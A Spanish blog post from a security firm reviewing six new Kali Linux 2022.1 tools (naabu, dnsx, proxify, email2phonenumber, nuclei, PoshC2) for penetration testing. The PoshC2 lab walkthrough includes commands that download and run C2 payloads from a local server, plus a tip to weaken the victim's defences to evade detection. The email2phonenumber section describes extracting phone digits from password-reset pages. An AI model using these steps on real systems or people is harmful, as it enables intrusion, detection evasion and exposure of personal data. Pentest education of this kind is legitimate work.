Nuevas herramientas Kali 2022.1

14 de febrero de 2022 se ha lanzado la nueva versión de Kali Linux 2022.1 la cual trae diversos cambios y mejoras al sistema, así como 6 nuevas herramientas ya que en NOISE Ciberseguridad siempre estamos probando nuevas herramientas para mejorar el servicio brindado, les daremos un vistazo rápido a sus características y cómo funcionan de manera general.

  • Nota: Ninguna de estas herramientas se encuentra preinstalada en una versión de Kali por defecto, pero estas pueden ser instaladas mediante APT y se configuran en el sistema automáticamente.

Naabu

La primera de las herramientas es naabu, una herramienta cuya finalidad es escanear puertos de manera rápida y eficiente haciendo uso de conexiones SYN/CONNECT sobre un host o un listado de hosts.

En su forma más simple de utilización le indicamos un único host con la bandera “-host”

De forma rápida, devuelve el listado de puertos activos descubiertos, la salida puede ser ajustada para que el listado de puertos sea escrito en un archivo mediante la bandera “-o”, la salida también puede ser en formato JSON añadiendo la bandera “-json” para lo cual se tendría un archivo como el siguiente:

Una característica más a destacar es la integración con NMAP, para el reconocimiento de servicios en base a los puertos encontrados.

Ejemplo:

naabu -host hack.me -nmap-cli 'nmap -sV -oX nmap-output'
 

Lo cual genera el siguiente resultado:

DNSX

Esta es una herramienta multipropósito para realizar consultas DNS, permite realizar múltiples consultas a la vez gracias a la librería “retryabledns” los dominios que se muestran como resultados serán dominios actualmente activos.

  • Por defecto busca únicamente registros de tipo A.
  • Los servidores que utiliza por defecto son Google, Cloudflare y Quad9.
  • Requiere un listado de dominios, no un dominio único sin embargo estos pueden ser enviados como parámetros.

Ejemplos:

Devolver el registro A de un único dominio usando las banderas “-a -resp”:

echo hack.me | dnsx -a -resp

Se pueden hacer peticiones hacia otros tipos de registros añadiendo
las banderas respectivas:

echo hack.me | dnsx -a -aaaa -mx -txt -ns -soa -cname -resp

El comando puede ser usado en conjunto con subfinder para
verificar los dominios encontrados:

subfinder -silent -d hack.me | dnsx -a -aaaa -mx -txt -ns -soa -cname -resp

La salida puede ser procesada en formato json y almacenada en un archivo:

subfinder -silent -d hack.me | dnsx -a -aaaa -mx -txt -ns -soa -cname -resp -json -o salida.json

Proxify

Herramienta creada para una rápida implementación de un
sistema proxy, soportando múltiples operaciones como el volcado de peticiones y
respuestas, filtrado y manipulación vía lenguaje DSL, proxy HTTP/SOCKS5, el tráfico
puede ser exportado hacia otras herramientas como Burp u otro proxy simplemente
configurando la salida hacia proxify.

Ejemplo:

Implementar proxify:

Proxify

Los parámetros por utilizar como la IP de escucha y el
puerto pueden ser ajustados por separado para http y socks5:

proxify-http-proxy http://0.0.0.0:8443
proxify-socks5-proxy socks5://127.0.0.1:9050

Muchos otros ejemplos de uso pueden ser encontrados en su repositorio de GitHub.

email2phonenumber

Esta es una herramienta OSINT que intenta obtener un número telefónico en base a un correo electrónico, el autor se basa en las funciones que ciertos sitios web tienen para solicitar un código único enviado al número telefónico asociado a un correo electrónico registrados en dicho sitio, revelando así cierta cantidad de dígitos al inicio y al final del número telefónico en cuestión.

Un ejemplo básico de uso sería el comando siguiente:

email2phonenumber scrape -e example@gmail.com

La herramienta iniciaría las solicitudes respectivas de Ebay, LastPass y PayPal para que dichos sitios generen la solicitud a un número telefónico asociado a una cuenta (y muy probablemente alertando al correo de la cuenta en cuestión) y obteniendo el número telefónico censurado.

Sin embargo, en nuestras pruebas realizadas no parece encontrar ningún tipo de información a pesar de que el correo y número de teléfono se encuentren registrados en dichos sitios.

El autor en su sitio web explica cómo ha sido inspirado por el servicio de números telefónicos de Estados Unidos para realizar y probar la herramienta lo cual también ha probado en su propio país España cuyos números telefónicos son similares (9 dígitos), así como también realizó pruebas con países con números telefónicos más cortos (7 dígitos) como los de El Salvador.

Sin embargo, no hemos podido obtener resultados de dichas pruebas en base a nuestro país El Salvador.

Las 2 funciones restantes de la herramienta “generate” y “bruteforce” necesitan de los dígitos encontrados en la primera función “scrape” para poder funcionar.

“Generate” genera un listado de posibles números telefónicos basados en registros públicos de Estados Unidos.

“Bruteforce”, dado un listado de números telefónicos busca registros de correo electrónico en servicios online.

Es un buen concepto de la herramienta, pero necesita un poco más de afinación para funcionar con servicios fuera de los Estados Unidos o España.

Nuclei

Nuclei es una herramienta que permite realizar peticiones a diversos servicios a través de una gran cantidad de protocolos, icluidos HTTP, TCP, DNS, SSL, Sistemas de archivos, Whois, Websocket, etc. Cada una de las peticiones ejecutadas son basadas en plantillas con el formato YAML lo cual facilita su creación y personalización ante cualquier situación.

nuclei -u https://example.com

Nuclei por defecto actualiza la base de datos de plantillas a ejecutar de las cuales realiza pruebas de cada una, al ser mas de 3000 plantillas se recomienda ejecutar únicamente las necesarias.

Por ejemplo, ejecutar las plantillar relacionadas con ssl:

nuclei -u https://twitter.com -tags ssl

Nuclei carga 4 plantillas específicas para ssl:

Las plantillas se almacenan en:

~/.local/nuclei-templates/ssl/

Plantillas individuales pueden ser ejecutadas indicando la ruta del archivo YAML ya sea plantillas predeterminadas o personalizadas.

PoshC2

La ultima herramienta a revisar es PoshC2 un set de herramientas post explotación, quiere decir que al tomar el control de un equipo compatible y ejecutar un payload de PoshC2 se tendrán a la mano una serie de módulos y funciones para aprovechar una consola remota.

PoshC2 actúa como servidor para este tipo de acciones, soporta múltiples conexiones remotas de víctimas y múltiples conexiones de usuarios, cada usuario puede conectarse a cualquier víctima y cada uno con una consola independiente de la otra.

Para iniciar PoshC2 primero debemos crear un proyecto:

sudo posh-project -n <nombre del proyecto>

Lo siguiente es configurar el servidor a conveniencia:

sudo posh-config

Este comando abrirá el archivo de configuración desde el editor Vi, en caso quisieras utilizar otro editor, este archivo se encuentra en:

/var/lib/poshc2/<nombre del proyecto>/config.yml

Desde acá podemos configurar la IP y el puerto que utilizará el servidor (por defecto es 127.0.0.1 con el puerto 443) así como también el tipo de base de datos a utilizar para el almacenamiento de datos el cual puede ser SQLite o Postgres.

Para una rápida configuración editaremos nada más los parámetros siguientes:

  • BindIP – La IP con la que se localizará el servidor
  • BindPort – El puerto en el que funcionará el servidor, se recomienda cambiarlo a un puerto no estándar para su uso en conjunto con el servicio Apache.
  • PayloadCommsHost – Hacia donde se comunicarán los payloads basados en web.

En nuestro caso la configuración quedaría de esta manera:

En base a esta configuración PoshC2 generará los payloads para las conexiones remotas al
momento de iniciar el servidor, esto con el siguiente comando:

sudo posh-server

El servidor iniciará la creación de diversos payloads que irá listando en consola, algunos de estos incluyen:

  • Payloads para PowerShell.
  • Payloads ejecutables de C#.
  • Archivos ejecutables.
  • Python
  • Binarios y ejecutables vía certutil
  • Entre otros

En este caso copiamos los payloads desde las rutas indicadas por el servidor PoshC2 en la carpeta raíz de apache (/var/www/html), los renombramos para facilitar su escritura e iniciamos el servicio para que nuestros archivos sean accesibles en la red. Uno es un ejecutable para Windows y el payload de Python para un sistema Debian.

En powershell:

wget http://192.168.1.27/data.exe -o ./data.exe

Para lo cual el archivo fue interceptado inmediatamente por Windows Defender, al excluirlo del listado pudimos ver una conexión activa en nuestro servidor PoshC2.

Sin embargo, la ejecución de los módulos fue detenida por Windows Defender.

Luego, intentamos la ejecución del payload mediante Python en un equipo Debian.

wget http://192.168.1.27/py.sh
bash py.sh

la conexión parece estar correcta en este caso:

Para interactuar con las conexiones debemos ingresar como un usuario en el servidor PoshC2 con el siguiente comando:

sudo posh -u <Nombre>

Teniendo en cuenta que el comando se ejecuta desde la linea de comandos del equipo servidor y el nombre de usuario puede ser cualquier cadena de texto, es solo para identificar quien está conectado al servicio y no hace referencia a un usuario del sistema.

A continuación, se nos mostrará un listado de las terminales activas e inactivas (en rojo) las conexiones se pueden activar ingresando el numero correspondiente a la conexión, en este caso la conexión número 3:

Se iniciará una nueva consola desde la cual se pueden ejecutar las funciones y los módulos de PoshC2:

Para obtener más información acerca de cada uno de los módulos y funciones, puedes visitar su repositorio y su documentación, recordar que esta herramienta es para uso post explotación por lo que se recomienda reducir las defensas de la victima antes de ejecutar PoshC2 y así evitar ser detectados.

Nuevas herramientas, nuevas opciones

Todas estas aplicaciones han sido creadas para un aspecto en específico los procesos de hackeo ético y pentesting construyendo sobre la base que las herramientas anteriores han dejado. La importancia de conocer sobre las nuevas herramientas es que nos permite ver la evolución que se va creando y los cambios en ciertos procesos, todos los días aparecen nuevas amenazas y nuevas formas de defensa, por lo que necesitamos adecuarnos y contar con múltiples opciones para obtener los mejores resultados de nuestras pruebas.

En NOISE Ciber Seguridad tenemos el compromiso de mantenernos al día con actualizaciones contantes para ofrecer la mejor calidad en nuestros servicios tanto en análisis de vulnerabilidades como pruebas de penetración si tienes interés en evaluar la seguridad de tu organización por medio de estas y muchas otras herramientas, ¡no dudes en contactarnos!

Nuevas herramientas Kali 2022.1

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Scroll hacia arriba